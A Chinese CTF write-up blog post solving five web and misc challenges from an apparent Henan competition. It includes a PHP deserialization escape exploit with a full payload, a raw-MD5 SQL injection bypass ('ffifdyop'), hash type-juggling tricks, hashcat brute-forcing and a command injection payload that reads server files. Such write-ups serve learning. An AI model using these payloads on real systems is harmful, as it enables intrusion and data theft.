不愧是河南举办的最好的比赛!

web辅助

给了附件,下载下来,审下源码,发现是反序列化字符逃逸,和2020安恒四月赛很像,但是增加了name关键字过滤,可以用S绕过,__weakup改下属性数量绕过

正常序列化,0x000代替:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct(){
$this->user = 'test';
$this->pass = 'test';
$this->admin = 1;
}

}
$a=serialize(new player());
echo str_replace(chr(0),'0',$a);

// O:6:"player":3:{s:7:"0*0user";s:4:"test";s:7:"0*0pass";s:4:"test";s:8:"0*0admin";i:1;}

访问play.php会反序列化,pop链:

1
topsolo::__destruct() ==> TP() ==> $name() ==> midsolo::__invoke() ==> Gank() ==> stristr ==> jungle::__toString() ==> KS()

构造exp,有两处需要绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct(){
$this->user = 'test';
$this->pass = new topsolo();
$this->admin = 1;
}

}

class topsolo{
protected $name;

public function __construct(){
$this->name = new midsolo();
}

}

class midsolo{
protected $name;

public function __construct(){
$this->name = new jungle();
}

}

class jungle{
protected $name = "";

}

$a=new player();
$b=serialize($a);
$c=str_replace('test"','',stristr($b,'test"'));

$d=str_replace('s:7:"'.chr(0).'*'.chr(0).'name"','S:7:"\00\2a\00\6e\61\6d\65"',$c); // 绕过check函数
$d=str_replace('"midsolo":1:','"midsolo":2:',$d); // 绕过__weakup
echo urlencode($d);

接着再看需要多少个\0*\0,上面序列化之后$pass的长度是三位,所以要吃掉的就是,这里0x00替换成0,长度为22:

1
";s:7:"0*0pass";s:XXX:

列方程:

1
5n=3n+22+k

n=11,k=0刚好可以,因此构造payload:

1
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=%3Bs%3A7%3A%22%00%2A%00pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C00%5C2a%5C00%5C6e%5C61%5C6d%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C00%5C2a%5C00%5C6e%5C61%5C6d%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C00%5C2a%5C00%5C6e%5C61%5C6d%5C65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A8%3A%22%00%2A%00admin%22%3Bi%3A1%3B%7D

然后请求play.php即可得到flag

bank

nc连接发现是这样的形式,让我们爆破前三位

1
sha256(XXX+rN3KgrFumXZ3gkHew) == 9fd1a6531ed24bb86eef93614c0a34bcd64cc0819b976b8e55bd04d5951f7bbc

直接hashcat掩码爆破

1
hashcat64.exe -a 3 -m 1400 9fd1a6531ed24bb86eef93614c0a34bcd64cc0819b976b8e55bd04d5951f7bbc ?a?a?arN3KgrFumXZ3gkHew

测试一遍之后发现代码存在漏洞,直接交易的时候输负数就能增加cash

Funhash

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>

第一关找0e+纯数字md4加密后还是0e+纯数字的字符串就行,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from concurrent.futures import ThreadPoolExecutor
import threading,time
import hashlib
def md4(s):
obj = hashlib.new("md4")
obj.update(s.encode())
return obj.hexdigest()

def check(id):
#print(id)
enc=md4('0e'+str(id))
if enc[0:2]=='0e' and enc[2:-1].isdigit():
print('0e'+str(id))
return 1
return 0

if __name__ == "__main__":
thread_pool = ThreadPoolExecutor(100)
for i in range(1,1000000000):
thread_pool.submit(check,i)

第二关数组绕过,第三关和javisoj上的Login一样,找到一个字符串MD5加密后得到的原始二进制格式在SQL中拼接成 类似 'or'xxx的形式就可以绕过了

payload:

1
?hash1=0e251288019&hash2[]=1&hash3[]=&hash4=ffifdyop

upload

wireshark打开 导出http对象,发现steghide.php,foremost分离一张图片,steghide隐写,密码弱口令123456

主动

就过滤了flag,用*绕过

payload:

1
?ip=127.0.0.1||cat *

查看源码得到flag

评论